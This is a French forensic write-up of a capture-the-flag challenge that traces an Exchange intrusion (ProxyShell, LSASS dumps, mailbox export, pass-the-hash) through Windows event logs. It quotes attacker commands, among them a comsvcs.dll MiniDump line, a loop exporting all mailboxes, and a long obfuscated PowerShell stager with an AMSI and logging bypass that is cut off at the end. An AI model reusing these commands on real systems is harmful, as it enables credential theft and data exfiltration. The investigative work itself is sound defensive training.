# Introduction:
Durant l’été 2022, un opérateur d’importance vitale (OIV) alerte l’ANSSI car il pense être victime d’une cyberattaque d’ampleur. Le security operation center (SOC) de l’OIV envoie à l’ANSSI un export de sa collecte système des derniers jours. Vous êtes chargé de comprendre les actions réalisées par l’attaquant.
On nous fournit une série d’EVTX, que nous allons utiliser tout le long du challenge.
Pour mieux les exploiter, il est utile de connaître les outils Hayabusa et Takajo. Ce sont des outils qui nous permettent d’analyser des EVTX et de générer des alertes depuis des règles Sigma grâcieusement fournies (plus de 7000 !).
Dans mon approche, je choisis d’utiliser toutes les règles à notre disposition (ce qui crée beaucoup de faux-positifs), pour créer une timeline en CSV
et une autre en JSONL
, pour une utilisation avec takajo
.
./hayabusa csv-timeline --directory soc_events --output timeline.csv
./hayabusa json-timeline --directory soc_events --JSONL-output --output timeline.json
Il est également utile de remplacer les séparateurs multi-octets dans le CSV par des virgules.
sed 's/¦/,/g' timeline.csv > timeline_comma.csv
# 1/5 - Vecteur Initial
Retrouver le nom de la vulnérabilité et l’heure UTC de la première tentative d’exploitation de cette vulnérabilité.
Format du flag (insensible à la casse) : FCSC{EternalBlue|2021-11-27T17:38}
Commençons par traiter l’ensemble des alertes high
et critical
, qui nous donneront des indices.
$ head -n1 timeline_comma.csv
"Timestamp","RuleTitle","Level","Computer","Channel","EventID","RecordID","Details","ExtraFieldInfo"
$ grep -E '("high"|"crit")' timeline_comma.csv | cut -d ',' -f 2 | sort | uniq -c > high_crit_alerts.txt
2 "Accessing WinAPI in PowerShell for Credentials Dumping"
8 "AMSI Bypass Pattern Assembly GetType"
8 "Antivirus Relevant File Paths Alerts"
17 "Base64 Encoded PowerShell Command Detected"
1 "CreateMiniDump Hacktool"
1 "Credential Dumping Tools Accessing LSASS Memory"
8 "Defender Alert (Severe)"
26 "DotNet CLR DLL Loaded By Scripting Applications"
2 "HackTool - Potential Impacket Lateral Movement Activity"
2 "LSASS Dump Keyword In CommandLine"
1 "LSASS Memory Dump File Creation"
1 "Lsass Memory Dump via Comsvcs DLL"
1 "LSASS Process Memory Dump Creation Via Taskmgr.EXE"
1 "LSASS Process Memory Dump Files"
4 "Mailbox Export to Exchange Webserver"
12 "Malicious PowerShell Commandlets - ProcessCreation"
2 "Metasploit Or Impacket Service Installation Via SMB PsExec"
1 "Mimikatz Detection LSASS Access"
1 "MMC20 Lateral Movement"
17 "Potential AMSI Bypass Via .NET Reflection"
1 "Potential Credential Dumping Attempt Via PowerShell Remote Thread"
2 "Potentially Suspicious PowerShell Child Processes"
17 "Potential PowerShell Command Line Obfuscation"
2 "Potential Remote PowerShell Session Initiated"
32 "Potential Shellcode Injection"
17 "PowerShell AMSI Bypass Pattern"
7 "Powershell Token Obfuscation - Powershell"
242058 "Proc Access (Sysmon Alert)"
2 "Process Memory Dump Via Comsvcs.DLL"
27 "Proc Injection (Sysmon Alert)"
5 "Protected Storage Service Access"
3 "Run Whoami as SYSTEM"
4 "Service Installed By Unusual Client - Security"
2 "smbexec.py Service Installation"
2 "Suspicious Interactive PowerShell as SYSTEM"
8 "Suspicious PowerShell Parent Process"
8 "Suspicious Process By Web Server Process"
5 "Suspicious Startup Folder Persistence"
9 "Suspicious SYSTEM User Process Creation"
8 "Webshell Hacking Activity Patterns"
3 "Whoami.EXE Execution From Privileged Process"
Ceci nous donne tout un liste du nom d’alertes sur des activités possiblement malveillantes très utiles à suivre pour toutes les étapes de l’attaque.
Ici on cherche à établir le vecteur initial, donc nous allons plutôt investiguer les activités vues en début d’exploitation. Les Whoami
, Webshell Hacking Activity Patterns
passent en priorité.
$ grep 'Webshell Hacking' timeline_comma.csv
"2022-07-04 17:36:54.483 +02:00","Webshell Hacking Activity Patterns","high","exchange.tinfa.loc"
[...]
"Cmdline: powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.Proc
[...]
ParentProcessName: C:\Windows\System32\inetsrv\w3wp.exe
$ grep 'Run Whoami as SYSTEM' timeline_comma.csv
"2022-07-05 15:26:56.053 +02:00","Run Whoami as SYSTEM","high","exchange.tinfa.loc" [...] "CurrentDirectory: C:\windows\system32\inetsrv\ [...]
Nous voyons l’éxecution d’un Powershell obfusqué à 2022-07-04T15:36:54
. La règle Webshell Hacking Activity Patterns
est sûrement déclenchée lors d’une rélation parent-fils de type ProcServeurWeb -> InviteDeScriptOuCommandes
, ici w3wp.exe -> powershell.exe
. Cette règle cause des faux-positifs, mais l’association avec le script PowerShell obfusqué et l’éxécution de whoami.exe
sur un serveur Exchange (exchange.tinfa.local
) indique que nous sommes sur une bonne piste.
Un Webshell sur un serveur Exchange fait immédiatement penser à ProxyShell
, mais sinon, une recherche suffit.
Le rapport fournit deux indicateurs précieux, mais deux d’entre eux sont des requêtes web du début de l’exploit (pas présent donc sur nos logs machine), mais le troisième est une ligne de commande Powershell.
$ grep -E 'FilePath .*\.aspx' timeline_comma.csv`
"2022-07-04 17:36:43.418 +02:00","Mailbox Export to Exchange Webserver","crit","exchange.tinfa.loc","Exchange",1,18,"Data: New-MailboxExportRequest-Name ""L8RpWn50wGF"" -Mailbox ""Administrator@tinfa.loc"" -IncludeFolders (""#Drafts#"") -ContentFilter ""(Subject -eq 'klcaVaR1')"" -ExcludeDumpster ""True"" -FilePath ""\\exchange.tinfa.loc\C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\A31NhmZE3.aspx"
[...]
Nous confirmons l’accès initial en exploitant ProxyShell
à 17:36:43 UTC+2
.
Les alertes Defender sont un raccourci utile pour cette étape, et vous donnent le numéro de CVE ainsi que le processus qui l’exploite. Bouh.
# 2/5 - Vecteur Initial
Après l’action vue dans la partie 1, l’attaquant vole les identifiants système en mémoire. Retrouver le GUID du processus effectuant ce vol et le nom du fichier où il écrit les secrets volés.
Format du flag (insensible à la casse) : FCSC{6ccf8905-a033-4edc-8ed7-0a4b0a411e15|C:\Windows\Users\toto\Desktop\fichier.pdf}
Identifiants système en mémoire, autant dire LSASS.exe
. Ce sont des TTP courantes.
On pioche dans nos règles :
$ grep -Ei '(LSASS|Dump)' high_crit_alerts.txt
2 "Accessing WinAPI in PowerShell for Credentials Dumping"
1 "CreateMiniDump Hacktool"
1 "Credential Dumping Tools Accessing LSASS Memory"
2 "LSASS Dump Keyword In CommandLine"
1 "LSASS Memory Dump File Creation"
1 "Lsass Memory Dump via Comsvcs DLL"
1 "LSASS Process Memory Dump Creation Via Taskmgr.EXE"
1 "LSASS Process Memory Dump Files"
1 "Mimikatz Detection LSASS Access"
1 "Potential Credential Dumping Attempt Via PowerShell Remote Thread"
2 "Process Memory Dump Via Comsvcs.DLL
On commence par MiniDump
. Ce dernier a plus de sens par rapport aux autres car il se passe sur le serveur Exchange et suit notre temporalité. Nous garderons le reste pour plus tard.
$ grep -Ei 'MiniDump' timeline_comma.csv
"2022-07-04 17:54:51.293 +02:00","PwSh Scriptblock","info"
[...]
ScriptBlock: rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump 652 attr.exe full
[...]
"2022-07-04 17:54:51.301 +02:00","Potentially Suspicious Rundll32 Activity"
[...]
CurrentDirectory: C:\windows\system32\inetsrv\
$ grep -Ei 'Lsass Memory Dump via Comsvcs' timeline_comma.csv
"2022-07-04 17:54:51.373 +02:00"
[...]
"Lsass Memory Dump via Comsvcs DLL","high","exchange.tinfa.loc","Sysmon",10,8488,
SrcProc: C:\Windows\system32\rundll32.exe
TgtProc: C:\Windows\system32\lsass.exe
SrcPID: 17400 , SrcPGUID: {b99a131f-0d4b-62c3-ce03-00000000db01}
TgtPID: **652** , TgtPGUID: {b99a131f-8de6-62c2-0c00-00000000db01}
[...]
UtcTime: 2022-07-04 15:54:51.372"
Ici, il faut trouver le LOLBAS pour comprendre que Comsvcs va créer le attr.exe
dans le répertoire courant, et ce sera le fichier de dump. Utile.
# 3/5 Exfiltration
Dans la continuité de ce qui été vu précédemment, l’attaquant a collecté une quantité importante de données métier. Retrouver la commande qui a permis de collecter tous ces éléments.
Format du flag : FCSC{sha256()}
Par exemple, si la commande malveillante était 7z a “Fichiers volés.zip” C:\Windows\System32, le flag serait FCSC{bc5640e69c335a8dbe369db382666070e05198a6c18ce88498563d2c4ac187b1}.
Ici on peut commencer par chercher les protocoles classiques d’exfiltration comme DNS, FTP, Pastebin et autres services de stockage/partage, mais nous ne trouvons aucun signe d’exfiltration.
L’attaquant intéragissait à ce moment avec la machine depuis une invite PowerShell, nous pouvons utiliser la commande suivant pour lister les commandes non-signées sur le serveur Exchange.
$ grep 'PwSh Scriptblock' timeline_comma.csv | grep 'exchange.tinfa.loc' | grep -v 'Signed: true' | cut -d ',' -f 8 | less`
Si on regarde un peu, on tombe sur une série de commandes intéressantes.
"ScriptBlock: whoami"
[...]
"ScriptBlock: Add-PSSnapin Microsoft.Exchange.Management.Powershell.SnapIn;"
[...]
"ScriptBlock: echo $null >> ftph.exe"
"ScriptBlock: pwd"
"ScriptBlock: mkdir xwin"
"ScriptBlock: foreach ($Mailbox in (Get-Mailbox -ResultSize Unlimited)) {New-MailboxExportRequest -Mailbox $Mailbox.DisplayName -FilePath ""C:\windows\system32\xwin\($Mailbox.Alias).pst""}"
"ScriptBlock: foreach ($Mailbox in (Get-Mailbox -ResultSize Unlimited)) {New-MailboxExportRequest -Mailbox $Mailbox.DisplayName -FilePath ""\\exchange\C$\windows\system32\xwin\($Mailbox.Alias).pst""}"
"ScriptBlock: prompt"
"ScriptBlock: cd xwin"
"ScriptBlock: prompt"
"ScriptBlock: ls"
"ScriptBlock: prompt"
"ScriptBlock: Get-MailboxExportRequest"
"ScriptBlock: prompt"
"ScriptBlock: Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest"
"ScriptBlock: download -h"
"ScriptBlock: prompt"
"ScriptBlock: download -r *"
[...]
"ScriptBlock: exit"
Il y a un guide d’investigation fait par Elastic qui parle de cette technique. On voit que les exports de mail seraient faient dans des fichiers avec l’extension .pst
. Nous pouvons confirmer l’exfiltration en regardant les alertes associées au dossier xwin
(qui n’existe pas par défaut) avec une extension .pst
.
$ grep 'xwin' timeline_comma.csv | grep '\.pst' | cut -d ',' -f 2 | sort | uniq -c
158 "File Created (Sysmon Alert)"
632 "NetShare File Access"
2 "PwSh Scriptblock"
632 "Suspicious Access to Sensitive File Extensions"
$ grep 'xwin' timeline_comma.csv | grep '\.pst' | cut -d ',' -f 10 | sort | uniq -c
2 MessageTotal: 1
2 Path: C:\Windows\System32\xwin\(account service.Alias).pst
3 Path: C:\Windows\System32\xwin\(Administrator.Alias).pst
3 Path: C:\Windows\System32\xwin\(Adrien LOYER ADM.Alias).pst
3 Path: C:\Windows\System32\xwin\(Adrien LOYER.Alias).pst
2 Path: C:\Windows\System32\xwin\(Adrienne QUEMENEUR.Alias).pst
2 Path: C:\Windows\System32\xwin\(Agnais SOLARI.Alias).pst
2 Path: C:\Windows\System32\xwin\(Alain ROBY.Alias).pst
2 Path: C:\Windows\System32\xwin\(Alexandre DUFAY.Alias).pst
2 Path: C:\Windows\System32\xwin\(Alfred ARCENS.Alias).pst
2 Path: C:\Windows\System32\xwin\(Amandine BALLARIN.Alias).pst
2 Path: C:\Windows\System32\xwin\(anssi.Alias).pst
3 Path: C:\Windows\System32\xwin\(Aristide VENGUEROFF.Alias).pst
[...]
L’attaquant aurait exporté et téléchargé l’ensemble des exports des boîtes mail de l’entreprise, ceci a été fait avec la commande foreach ($Mailbox in (Get-Mailbox -ResultSize Unlimited)) {New-MailboxExportRequest -Mailbox $Mailbox.DisplayName -FilePath "C:\windows\system32\xwin\($Mailbox.Alias).pst"}}
. Je pense que le format du flag a causé des problèmes à des nombreuses personnes, et m’a coûté plusieurs essais.
import hashlib
commande = ('foreach ($Mailbox in (Get-Mailbox -ResultSize Unlimited)) {New-MailboxExportRequest -Mailbox $Mailbox.DisplayName -FilePath "C:\\windows\\system32\\xwin\\($Mailbox.Alias).pst"}')
print(hashlib.sha256(commande.encode('utf-8')).hexdigest())
# 4/5 - Latéralisation
Sur une courte période de temps, l’attaquant a essayé de se connecter à de nombreuses machines, comme s’il essayait de réutiliser les secrets volés dans la partie 2. Cela lui a permis de se connecter à la machine Workstation2. Retrouver l’IP source, le compte utilisé et l’heure UTC de cette connexion.
Format du flag (insensible à la casse) : FCSC{192.168.42.27|MYCORP\Technician|2021-11-27T17:38:54}.
La description laisse à entendre que l’attaquant a rejoué des identifiants trouvé sur le serveur Exchange sur d’autres machines. Utilisons hayabusa
pour avoir un survol des authentifications.
$ ./hayabusa logon-summary --directory soc_events
Nous remarquons que l’utilisateur Administrator
a 2 authentifications échouées sur chaque Workstation, sauf sur Workstation2.tinfa.loc
.
Si on investigue la timeline, on trouvera le moment où il a tenté ses authentifications, nous cherchons un EID 4624 (Authentification Réussie)
suivi d’une série de EIDs 4625 (Authentification Echouée)
.
$ grep -E '("Sec",4624|"Sec",4625)' timeline_comma.csv | grep -E 'Workstation.\.tinfa\.loc' | grep 'TgtUser: Administrator' | cut -d ',' -f 1,2,4,9,11 ok | 03:11:15 PM
"2022-07-06 15:22:57.730 +02:00","Logon Failure (Wrong Password)","Workstation2.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:58.097 +02:00","Logon Failure (Wrong Password)","Workstation4.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:58.553 +02:00","Logon Failure (Wrong Password)","Workstation8.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:58.782 +02:00","Logon Failure (Wrong Password)","Workstation6.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:58.811 +02:00","Logon Failure (Wrong Password)","Workstation5.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:59.107 +02:00","Logon Failure (Wrong Password)","Workstation3.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:59.186 +02:00","Logon Failure (Wrong Password)","Workstation1.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:59.321 +02:00","Logon Failure (Wrong Password)","Workstation7.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:59.695 +02:00","Logon Failure (Wrong Password)","Workstation0.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:22:59.804 +02:00","Logon Failure (Wrong Password)","Workstation9.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:55.995 +02:00","Logon Failure (Wrong Password)","Workstation7.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.174 +02:00","Logon Failure (Wrong Password)","Workstation1.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.274 +02:00","Logon Failure (Wrong Password)","Workstation8.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.664 +02:00","Logon Failure (Wrong Password)","Workstation0.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.674 +02:00","Logon Failure (Wrong Password)","Workstation5.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.725 +02:00","Logon Failure (Wrong Password)","Workstation9.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.807 +02:00","Logon Failure (Wrong Password)","Workstation4.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:56.981 +02:00","Logon Failure (Wrong Password)","Workstation3.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:57.153 +02:00","Logon (Network)","Workstation2.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
"2022-07-06 15:26:57.153 +02:00","Pass the Hash Activity 2","Workstation2.tinfa.loc", TgtUser: Administrator , SrcIP: 172.16.20.20
[...]
Nous trouvons donc la latéralisation sur l’utilisateur local WORKSTATION2\Administrator
en utilisant un hash NTLM obtenu lors du premier dump mémoire. Il serait judicieux d’avoir un mécanisme comme LAPS
pour mitiger ce genre d’attaque.
# 5/5 - Vol de secret 2
Sur la machine identifiée en partie 4, l’attaquant vole de nouveau les secrets du système. Retrouver le GUID du processus effectuant ce vol et le nom du fichier où il écrit les secrets volés.
Format du flag (insensible à la casse) : FCSC{6ccf8905-a033-4edc-8ed7-0a4b0a411e15|C:\Windows\Users\toto\Desktop\fichier.pdf}.
Ici rien de compliqué, on repioche dans nos règles jusqu’à trouver le dump sur Workstation2
.
grep -E 'LSASS Memory Dump File Creation' timeline_comma.csv | grep Workstation2
"2022-07-06 18:05:02.006 +02:00","LSASS Memory Dump File Creation","high","Workstation2.tinfa.loc","Sysmon",11,36597,"Path: C:\Users\ADMINI~1\AppData\Local\Temp\3\lsass.DMP , Proc: C:\Windows\system32\taskmgr.exe , PID: 6744 , PGUID: {b7e8a6b7-b273-62c5-bc11-00000000d301}","CreationUtcTime: 2022-07-06 16:05:01.901 , RuleName: - , User: WORKSTATION2\Administrator , UtcTime: 2022-07-06 16:05:01.901"
Ça nous permet de valider.
# Bonus
# Script Powershell, injection mémoire, njRAT et HAFNIUM
Ceux qui ont suivi le challenge n’ont pas raté l’utilisation de plusieurs scripts PowerShell lourdement obfusqués. Regardons un d’entre eux.
powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -ge 3){ $uZHhd=((''Sc''+''rip{1}''+''Bl''+''oc{2}''+''Loggi{0}g'')-f''n'',''t'',''k''); $f0m=((''{3}na{0}''+''le''+''Sc{5}i''+''pt''+''{1}''+''lockIn{4}ocation{2}ogg''+''ing''+'''')-f''b'',''B'',''L'',''E'',''v'',''r''); $nW=[Collections.Generic.Dictionary[string,System.Object]]::new(); $fGwX=[Ref].Assembly.GetType(((''{5}{''+''1}ste''+''m.Mana{''+''0}emen''+''t.{4}utomation.{''+''3''+''}''+''ti{2}s'')-f''g'',''y'',''l'',''U'',''A'',''S'')); $oz=((''{''+''2}''+''n{3''+''}ble{1}c{0''+''}iptBlockLoggi''+''ng'')-f''r'',''S'',''E'',''a''); $wq=[Ref].Assembly.GetType(((''''+''{''+''3}{6}ste''+''m.{''+''2''+''}ana{0}''+''em''+''en''+''t.{''+''8''+''}{5}''+''t''+''{7}mat{9}{''+''7''+''}''+''n.{''+''8}m''+''s{9}''+''{4}''+''t''+''{9}{1}s'')-f''g'',''l'',''M'',''S'',''U'',''u'',''y'',''o'',''A'',''i'')); if ($wq) { $wq.GetField(((''''+''am{4}i{''+''3}ni''+''{''+''0''+''}''+''{''+''2}ai{1}ed''+'''')-f''t'',''l'',''F'',''I'',''s''),''NonPublic,Static'').SetValue($null,$true); }; $yF3=$fGwX.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If ($yF3) { $jjtF4=$yF3.GetValue($null); $nW.Add($oz,0); $nW.Add($f0m,0); $jjtF4[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$uZHhd]=$nW; If($jjtF4[$uZHhd]){ $jjtF4[$uZHhd][$oz]=0; $jjtF4[$uZHhd][$f0m]=0; } } Else { [Ref].Assembly.GetType(((''''+''System.{2}ana{''+''0''+''}ement.{1}{5}tomation''+''.Sc''+''ri''+''pt{4''+''}loc{3''+''}'')-f''g'',''A'',''M'',''k'',''B'',''u'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sIAMr6w2IC''+''A7VWbW/aSBD+Xqn/waqQsBUC{1}tA0F6nS2cYOJpDiOBgCRZWx1/aWtZfaS4D0+t9v1tgJUZK73EndL/a+zMs+88zMBuvEY5gmwvZmKfx8/04oxtBN3VgQK3cn3ZpQiU01yq{2}H3QrV{1}c+COFNWqw6NXZzMz8+1dZqi{1}O3n9QvElCxD8YJglImS8JcwjlCKjr8sviOPC{2}+Fyrf6BaELlx{2}HdprrRUg4V{1}Kf7/Wp53K/6vaKYCZWv36tSrPj5ryu/1i7JBOr9i5jKK77{1''+''}FQ''+''l4ZfEDd7sVki''+''sDrCX0owGrD7GyUmrPkoyN0BXoO0ODRCLqJ9V4SqPl0kRW6cJvxNXsj8iVuF3mFJP8f0UZVm1Jsy4+tl8/qc4K2xfrxOGY1Q3E4ZSurJReoc9lNW7buI{2}dI2COUjZLMVJOJckOHZHl0isJGtCasJ/USNeoU2J3FuFxEM{1}ODVkqVSDgD675YD6a4L2ctUX3OQUkGA80ADA+8XxC0rqePbq2wvceVwoxyzfQeCxOKQZzoU/C3JNGIB1l9F0B9PK{2}bpG0vwBbwjM5afaW5U1S0mQYyffYGXmUOzPH+WfxL4S5Ede53EHB{2}{1}BnV3ixtgrqSq+FBAUEJ{2}jUS+PXYF7YrXYQH4HERS6jIPMefFM{2}I8xe5BV15j4KFU8CGoGXkG8pafO7OMmVs1kgGKAbj8HolYCSBBUn''+''i6S''+''Ylda53M4VNWIm2U1YbiGDP''+''Vqgo1cgvyaoCQZLraUNaP5b/XR3cGaMOy5GSvVzaUnYBZGNZpkLF17EFIA4MZeIQ+7{1}ONRE7rYR+rOxmFpvPoiGppLCCQOaLqDaMAKR8FmnCgp+MlJIdVtxMx4RVAMR/JyYRA3{1}OJQZEdOLDdEfvVFL8sk2DOeg1KiceAjRNomlNUEB6cMSg8HGIj1fzx4XnLAFS1FRV''+''{2}EMrFm6o5x5le89rXJ6Vmgk2ORMsDBSGmsu{1}k6be/Li/i{1}oePOx2GH3iswdOPaclR7NAq3cuyYuNkLbZPZF8YU/k3+vxvp8nY3CodMXl3ana6SdrZR''+''oJiZqXfVndVUFa+LPzk''+''9d{2}{2}C/RHW+tb3ran4a{1}xOwlttYw6jiQmGtH5o{1}vBVzc{1}{2}5akcqr''+''Ju9y1N7Sm+1rfVyGo3p1cDj5iNM6Lie9u0le44t/dgR2+3u5PtjXI16CmR8cU3mi0j0rGsLG2ra02XF/2Ons89PrduMx3''+''r3I5xazkRGjsrdawbU8tZmeHRJrScfqNtRCqsm3jbX9kNGM1m7''+''y7x7wfk7H4A7lrOtIfR1AzRLlQsRbFvE2IvNprS0RQ9U31naYxgbXljJltrsRr4u9tu4w9ngNGKKpauKAaB9IwVd9NpNMf00nI+Wns85e1G/97Y6Li3WRbf0cXpad''+''gI2sOGY5tJ141U8HfXay9x7wj2YteRb4OGw/Hr6EnjPpkQd6g1KVk0miPc+''+''aSqJkY9juEPFe4MOj5aC6q1vCgAn8zwzAonNGm5''+''S9A7D{1}XwDu4Xm{2}jomSCjrglejo4mXFdvI8e9rcz9jHtn4F''+''ur8EF{1}i{2}lpgH9Kt2NryYVt{2}lo+Mt{2}Gkff5A5ByNsIJO2nNK3irnvKC/f5dZaEj4/aAm6/1o4GbZpFLgLPQasqiYdDUKJrHkGIuIYr8/bFEaYII9Gzo6mW+KYRQj3euvMtA19z3Mt5aR2bu1kt/kvBwUH''+''rsaeXS+fkUnIQU5glW76MkZFFN3p7IMvQieSu382R9+9U0utqJubIa72Z7cEr1JFcPGnEgiOJvxwseLQxK6OuIvQYemF5C0YMSvC9GHEKVUnIIYHmzB0YcAgjINeH2M/5iyakCKo7RDyiXvKEfP{1}Aq4aX6W7l{2}FNUIPv6/cedx7R9238QnuVbg82z96cJBM/p9EIxdzOCgDd2BoP1{2}5WUkioQ5CDJEB7I{1''+''}KAZ/u39Zs+MreA/mDepv9dN''+''0yDMMAAA{0}''+'''')-f''='',''h'',''T'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
Ce script est le script parent, il sert notamment à vérifier si le système est en 32 ou 64 bits en vérifiant la taille des IntPtr
, (if([IntPtr]::Size -eq 4)
) et lance ensuite un script fils, que nous retrouvons en clair dans les logs.
""powershell.exe"" -noni -nop -w hidden -c If($PSVersionTable.PSVersion.Major -ge 3){ $uZHhd=(('Sc'+'rip{1}'+'Bl'+'oc{2}'+'Loggi{0}g')-f'n','t','k'); $f0m=(('{3}na{0}'+'le'+'Sc{5}i'+'pt'+'{1}'+'lockIn{4}ocation{2}ogg'+'ing'+'')-f'b','B','L','E','v','r'); $nW=[Collections.Generic.Dictionary[string,System.Object]]::new(); $fGwX=[Ref].Assembly.GetType((('{5}{'+'1}ste'+'m.Mana{'+'0}emen'+'t.{4}utomation.{'+'3'+'}'+'ti{2}s')-f'g','y','l','U','A','S')); $oz=(('{'+'2}'+'n{3'+'}ble{1}c{0'+'}iptBlockLoggi'+'ng')-f'r','S','E','a'); $wq=[Ref].Assembly.GetType(((''+'{'+'3}{6}ste'+'m.{'+'2'+'}ana{0}'+'em'+'en'+'t.{'+'8'+'}{5}'+'t'+'{7}mat{9}{'+'7'+'}'+'n.{'+'8}m'+'s{9}'+'{4}'+'t'+'{9}{1}s')-f'g','l','M','S','U','u','y','o','A','i')); if ($wq) { $wq.GetField(((''+'am{4}i{'+'3}ni'+'{'+'0'+'}'+'{'+'2}ai{1}ed'+'')-f't','l','F','I','s'),'NonPublic,Static').SetValue($null,$true); }; $yF3=$fGwX.GetField('cachedGroupPolicySettings','NonPublic,Static'); If ($yF3) { $jjtF4=$yF3.GetValue($null); $nW.Add($oz,0); $nW.Add($f0m,0); $jjtF4['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$uZHhd]=$nW; If($jjtF4[$uZHhd]){ $jjtF4[$uZHhd][$oz]=0; $jjtF4[$uZHhd][$f0m]=0; } } Else { [Ref].Assembly.GetType(((''+'System.{2}ana{'+'0'+'}ement.{1}{5}tomation'+'.Sc'+'ri'+'pt{4'+'}loc{3'+'}')-f'g','A','M','k','B','u')).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAMr6w2IC'+'A7VWbW/aSBD+Xqn/waqQsBUC{1}tA0F6nS2cYOJpDiOBgCRZWx1/aWtZfaS4D0+t9v1tgJUZK73EndL/a+zMs+88zMBuvEY5gmwvZmKfx8/04oxtBN3VgQK3cn3ZpQiU01yq{2}H3QrV{1}c+COFNWqw6NXZzMz8+1dZqi{1}O3n9QvElCxD8YJglImS8JcwjlCKjr8sviOPC{2}+Fyrf6BaELlx{2}HdprrRUg4V{1}Kf7/Wp53K/6vaKYCZWv36tSrPj5ryu/1i7JBOr9i5jKK77{1'+'}FQ'+'l4ZfEDd7sVki'+'sDrCX0owGrD7GyUmrPkoyN0BXoO0ODRCLqJ9V4SqPl0kRW6cJvxNXsj8iVuF3mFJP8f0UZVm1Jsy4+tl8/qc4K2xfrxOGY1Q3E4ZSurJReoc9lNW7buI{2}dI2COUjZLMVJOJckOHZHl0isJGtCasJ/USNeoU2J3FuFxEM{1}ODVkqVSDgD675YD6a4L2ctUX3OQUkGA80ADA+8XxC0rqePbq2wvceVwoxyzfQeCxOKQZzoU/C3JNGIB1l9F0B9PK{2}bpG0vwBbwjM5afaW5U1S0mQYyffYGXmUOzPH+WfxL4S5Ede53EHB{2}{1}BnV3ixtgrqSq+FBAUEJ{2}jUS+PXYF7YrXYQH4HERS6jIPMefFM{2}I8xe5BV15j4KFU8CGoGXkG8pafO7OMmVs1kgGKAbj8HolYCSBBUn'+'i6S'+'Ylda53M4VNWIm2U1YbiGDP'+'Vqgo1cgvyaoCQZLraUNaP5b/XR3cGaMOy5GSvVzaUnYBZGNZpkLF17EFIA4MZeIQ+7{1}ONRE7rYR+rOxmFpvPoiGppLCCQOaLqDaMAKR8FmnCgp+MlJIdVtxMx4RVAMR/JyYRA3{1}OJQZEdOLDdEfvVFL8sk2DOeg1KiceAjRNomlNUEB6cMSg8HGIj1fzx4XnLAFS1FRV'+'{2}EMrFm6o5x5le89rXJ6Vmgk2ORMsDBSGmsu{1}k6be/Li/i{1}oePOx2GH3iswdOPaclR7NAq3cuyYuNkLbZPZF8YU/k3+vxvp8nY3CodMXl3ana6SdrZR'+'oJiZqXfVndVUFa+LPzk'+'9d{2}{2}C/RHW+tb3ran4a{1}xOwlttYw6jiQmGtH5o{1}vBVzc{1}{2}5akcqr'+'Ju9y1N7Sm+1rfVyGo3p1cDj5iNM6Lie9u0le44t/dgR2+3u5PtjXI16CmR8cU3mi0j0rGsLG2ra02XF/2Ons89PrduMx3'+'r3I5xazkRGjsrdawbU8tZmeHRJrScfqNtRCqsm3jbX9kNGM1m7'+'y7x7wfk7H4A7lrOtIfR1AzRLlQsRbFvE2IvNprS0RQ9U31naYxgbXljJltrsRr4u9tu4w9ngNGKKpauKAaB9IwVd9NpNMf00nI+Wns85e1G/97Y6Li3WRbf0cXpad'+'gI2sOGY5tJ141U8HfXay9x7wj2YteRb4OGw/Hr6EnjPpkQd6g1KVk0miPc+'+'aSqJkY9juEPFe4MOj5aC6q1vCgAn8zwzAonNGm5'+'S9A7D{1}XwDu4Xm{2}